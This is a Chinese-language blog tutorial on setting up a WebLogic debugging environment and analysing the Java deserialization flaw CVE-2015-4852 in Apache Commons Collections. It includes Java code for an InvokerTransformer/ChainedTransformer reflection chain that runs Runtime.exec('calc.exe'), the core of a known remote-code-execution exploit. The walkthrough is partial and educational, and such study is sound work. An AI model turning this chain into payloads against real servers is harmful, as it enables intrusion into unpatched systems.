
0x00 前言
最近刚好碰到了weblogic的场景,就想好好学习一下并总结。版本用的是12.2.1.3
0x01 weblogic是啥
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic最早由 WebLogic Inc. 开发,后并入BEA 公司,最终BEA公司又并入Oracle公司。webserver是用来构建网站的必要软件,具有解析、发布网页等功能,它是用纯java开发的 。
0x02 安装weblogic
这一步就不多说了,网上有很多的教程,主要是需要注册一个oracle账号,信息填写尽量不要暴露个人信息就好。
遇到jre1.7.0_71不是有效的 JDK 的解决办法
把fmw12.1.3.0.0wls.jar放到%JAVAHOME%bin目录下,然后执行java -jar fmw12.1.3.0.0_wls.jar
遇到此时不应有 Javajdkxxxxxx的解决办法
https://blog.csdn.net/langdeyouhuoyouhuo/article/details/25964007
在linux下安装的时候碰到root用户不行
创建weblogic用户,使用weblogic用户来执行
在linux下安装的时候碰到oracle检查程序need 256 color
注销root用户,直接登录weblogic用户即可
查看补丁信息,到opatch目录下执行
opatch lsinventory
0x03 使用IDEA Debug
本地Debug
1、添加项目
用IDEA打开weblogic的项目,项目路径一般为
weblogicuser_projectsdomains
2、在IDEA里配置local debug的设置


3、在project structure里添加项目依赖

4、运行Debug按钮

然后会自动跳出项目首页。

一般国内的文章都只写到这就结束了,待笔者后面把远程debug也介绍完之后再说怎么玩怎么下断点^_^
远程Debug
1、什么是 Remote Debugging
Remote Debugging 是通过你正在调试的JVM和你选择的用于调试的工具之间使用TCP/IP通信来实现的。
JVM是java程序运行的平台,也叫java虚拟机,这是java之所以能够跨平台的关键,它负责执行java编译好的字节码文件。这里不是主要内容,就不详细展开了,感兴趣可以自行搜索相关概念。
2、配置远程Debug
注意这儿的配置需要选择remote那一项


3、打开远程debug
任何JVM都允许远程调试。这是通过在启动Java程序时添加一些标志来实现的。
在domain的bin目录下找setDomainEnv.cmd文件,搜索 “ if "%debugFlag%" ”,在这一行上面设置 “set debugFlag=true”。或者直接把local_debug设为true。

然后可以搜索“DEBUG_PORT”查看 默认端口号。

4、添加项目依赖

5、启动startweblogic.cmd

6、启动debug看到这句话就证明连接上了(安排上了)

要点
无论本地还是远程其实都要保持代码的一致性。
对于weblogic这类型的应用,源码在jar包里,需要用jd.gui来反编译里面的jar包。
然后分析整个大概的运行流程,找到关键的调用链。
跟进逐步分析,由于国内直接讲这个的文章比较少,笔者也摸索了挺久,才摸索出门道来,不过这种自己动手实践摸索出来的感觉很爽。
参考
http://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
0x04 反序列化漏洞
反序列化漏洞是一类危害较大的漏洞。
大多数编程语言为用户提供了内置的方法,可以将应用程序数据输出到磁盘或通过网络传输 。
所谓序列化,就是将应用程序数据转换为适合于传输的另一种格式(通常是二进制)的过程。
所谓反序列化,就是在序列化后重新读取数据的过程。
漏洞通常存在于开发人员编写代码时希望接受来自用户的序列化数据并尝试反序列化以便在程序中使用的代码时,就会出现漏洞。根据语言的不同,这会产生各种各样的后果,但最有趣的是,我们在这里讨论的是远程代码执行。
以下是foxglovesecurity的研究文章(建议读者可以花时间认真看看,文章挺长,讲解也挺透彻,英文不好也可以用插件翻译):https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
下面是序列化与反序列化的抽象图:

为什么java里特别多?
因为Java世界中的一切都使用对象序列化,并且几乎所有东西都可以被强制接受不安全的,比如用户提供的序列化数据。
此外,反序列化漏洞是完全取决于语言各自的特点的。
**下面的例子展示了java中如何序列化与反序列化(代码一)
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
public
class
SerializeTest{
public
static
void main(String args[]) throws
Exception{
//这是我们即将序列化的对象
String name = "bob";
//我们会把序列化数据写进文件 "name.ser" 里
FileOutputStream fos = new
FileOutputStream("name.ser");
ObjectOutputStream os = new
ObjectOutputStream(fos);
os.writeObject(name);
os.close();
//从文件 "name.ser" 中读取出存储的序列化数据
FileInputStream fis = new
FileInputStream("name.ser");
ObjectInputStream ois = new
ObjectInputStream(fis);
//读取数据并转化成字符串输出
String nameFromDisk = (String)ois.readObject();
//控制台打印
System.out.println(nameFromDisk);
ois.close();
}
}
这段代码只是使用Java的序列化接口将String“bob”写入磁盘中的"name.ser"文件,然后将其读回并打印结果。以下显示了运行此代码的输出
[root@localhost Desktop]# javac SerializeTest.java
[root@localhost Desktop]# java SerializeTest
bob
[root@localhost Desktop]# xxd name.ser
0000000: aced 0005
7400
0362
6f62 ....t..bob
请注意,磁盘“name.ser”上的文件是二进制文件,它有一些不可打印的字符。特别是经典标志,字节“aced 0005” - 这些是你在任何Java序列化对象的开头看到的“神奇字节”。
java的精髓就是object
下面是自定义对象序列化(代码二)
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;
public
class
SerializeTest{
public
static
void main(String args[]) throws
Exception{
//这是我们即将序列化的对象
MyObject myObj = new
MyObject();
myObj.name = "bob";
//我们会把序列化数据写进文件 "object.ser" 里
FileOutputStream fos = new
FileOutputStream("object.ser");
ObjectOutputStream os = new
ObjectOutputStream(fos);
os.writeObject(myObj);
os.close();
//从文件 "object.ser" 中读取出存储的序列化数据
FileInputStream fis = new
FileInputStream("object.ser");
ObjectInputStream ois = new
ObjectInputStream(fis);
//读取数据并转化成字符串输出
MyObject objectFromDisk = (MyObject)ois.readObject();
//控制台打印
System.out.println(objectFromDisk.name);
ois.close();
}
}
class
MyObject
implements
Serializable{
public
String name;
private
void readObject(java.io.ObjectInputStream
in) throws
IOException, ClassNotFoundException{
in.defaultReadObject();
this.name = this.name+"!";
}
}
下面是输出
[root@localhost Desktop]# java SerializeTest2
bob!
[root@localhost Desktop]# xxd object.ser
0000000: aced 0005
7372
0008
4d79
4f62
6a65
6374 ....sr..MyObject
0000010: cf7a 75c5
5dba f698 0200
014c
0004
6e61 .zu.]......L..na
0000020: 6d65
7400
124c
6a61
7661
2f6c
616e
672f met..Ljava/lang/
0000030: 5374
7269
6e67
3b78
7074
0003
626f
62
String;xpt..bob
代码二与代码一是基本相似的,但是这里被序列化的对象是用户定义的名称“MyObject”。

这里的关键是readObject方法。当Java读入一个序列化对象时,在读取原始字节后它首先执行的操作是调用用户定义的“readObject”方法(如果存在)。我们看到我们的myobject对象在定义readObject方法的时候在name属性后附加一个感叹号。
private
void readObject(java.io.ObjectInputStream
in) throws
IOException, ClassNotFoundException{
in.defaultReadObject();
this.name = this.name+"!";
}
那么,如果我们知道一个自定义了readObject方法的序列化对象做了危险的事情呢?
如果不是简单的附加毫无危害的感叹号,而是可以在操作系统上运行用户定义的命令,那真的skr skr危险了。
假设存在这样一个易受攻击的对象,但它不是核心的一部分,而只是库的一部分。从开发者的角度去考虑:
1、该库需要在Java的类路径上
2、应用程序需要反序列化不受信任的用户输入
我们已经确定第二个要求经常可以满足。如果我们能够在常用的库中找到这样的漏洞,则可以满足第一个要求。
此外,Java库与我们已经看到这些类型的漏洞的其他库不同。例如,OpenSSL通常作为共享库运行,因此开发者可以更新所有RedHat框,并且神奇地不再容易受到HeartBleed的攻击。相比之下,Java库是一团糟。每个应用程序服务器都有自己的库包,更糟糕的是,在服务器上部署的每个应用程序通常都带有自己的集合。要完全解决此问题,开发者需要单独查找和更新每个库。
下面开始研究的weblogic它的漏洞点位于commons-collections Java库中。
0x05 CVE-2015-4852
概述
CVE-2015-4852 是 java 反序列化问题引起重视并被大规模利用时候的 weblogic 的漏洞。 WLS Security组件允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。此漏洞影响到WLS Security Handler的文件oracle_common/modules/com.bea.core.apache.commons.collections.jar内的函数。
影响范围
Oracle WebLogic Server - Version 10.3.6 to 12.2.1.0.0
漏洞原理
概括
如果Java应用对用户输入没有进行校验而直接做反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能产生任意代码执行的漏洞。
——不可信输入带入流程中介绍 apache commons collections
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
CommonsCollections 组件中对于集合的操作存在反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验。
从Transformer开始谈起
org.apache.commons.collections.Transformer
Apache Commons Collections中提供了一个Transformer的类,这个接口的的功能就是:把一个对象转换为另一个对象。


图中,ConstantTransformer,invokerTransformer,ChainedTransformer和TransformedMap继承了Transformer类。
invokeTransformer:Transformer implementation that creates a new object instance by reflection.
(通过反射,返回一个对象)
ChainedTransformer:Transformer implementation that chains the specified transformers together.
(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
ConstantTransformer:Transformer implementation that returns the same constant each time.
(把一个对象转化为常量,并返回)
参考:
https://wsygoogol.github.io/2016/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。了解ConstantTransformer
org.apache.commons.collections.functors.constanttransformer
该类使用Transformer的接口,重写了transformer的方法

transform返回的是iConstant的变量,iConstant的变量必定在ConstantTransformer(Object)方法中被赋值。
public
void test(){
ConstantTransformer tran = new
ConstantTransformer(Runtime.class);
}
在源码中设置断点,开启debug运行 ,将会看到构造出了Runtime的对象类型。
了解Invoketransformer
org.apache.commons.collections.functors.invoketransformer
定义

可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName,然后使用对应参数 iArgs 调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造的决定性的条件。
invoketransformer类中比较关键的地方

该方法中采用反射的方法进行调用,其中红框input参数为进行反射操作的对象,另外三个参数中
iMethodName——调用的方法名
iParamTypes——该方法的参数类型
iArgs——对应方法的参数
在该类的构造方法中,可以发现,这三个参数都是可控的,可控意味着不可信!

在invokerTransformer类中,通过反射创建新的对象实例。其中transform方法定义为:

method.invoke(input,iargs)意思是,执行input对象的method方法,参数是iargs。
这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量:

也就是说这段反射代码中的调用的方法名和Class对象都是可控的。于是,我们可以构造一个恶意的Transformer链,借用InvokerTransformer.transform()执行任意命令。
@transform test
public
void test(){
InvokerTransformer tran = new
InvokerTransformer(
"getMethod",
new
Class[] { String.class, Class[].class },
new
Object[] { "getRuntime",null }
);
Method run = (Method) tran.transform(Runtime.class);
InvokerTransformer tran2 = new
InvokerTransformer(
"invoke",
new
Class[] { Object.class, Object[].class },
new
Object[] { null, null }
);
System.out.println(tran2.transform(run).toString()),
}
动态跟踪一下这个demo的流程



最终,可以看到,此处已经是Runtime类了

继续构造exec(“calc.exe”)代码段
Runtime run = (Runtime) tran2.transform(method);
InvokerTransformer tran3 = new
InvokerTransformer(
"exec",
new
Class[] { String.class },
new
Object[] { "calc.exe" }
);
tran3.transform(run);

最终

到此,我们已经成功构造payload了,在这里我是直接放到main函数里执行了payload,那么正常情况下我们怎么执行呢?
了解ChainedTransformer
org.apache.commons.collections.functors.chainedtransformer
执行反射链用到ChainedTransformer ,查看源码

发现ChainedTransformer 利用for循环,对传入的transformers[i]数组逐个运行transform方法 ,就是把上文的步骤利用一个for循环整合在了一起。
构造一个以数组为主的反射链进行弹窗:
public
void test(){
ChainedTranstormer chain = null;
Transformer transforms[] = {
new
ConstantTransformer(Runtime.class),
new
InvokerTransformer("getMethod",
new
Class[] {String.class, Class[].class},
new
Object[] {"getRuntime", null }
),
new
InvokerTransformer("invoke",
new
Class[] {Object.class, Object[].class},
new
Object[] {null, null}
),
new
InvokerTransformer("exec",
new
Class[] {String[].class},
new
Object[] {"calc.exe"}
)
};
chain = new
ChainedTransformer(transformers);
chain.transform(Object.class);
}
构造出了chain方法之后,还需要调用了ChainedTransformer类中的transform对象转换方法。
如何才能不通过直接调用transform方法执行反射链呢?
下面就要去寻找类了,寻找到调用了ChainedTransformer类中的transform方法的类,这个类叫TransformedMap 。
参考:
https://blog.chaitin.cn/2015-11-11javaunserialize_rce/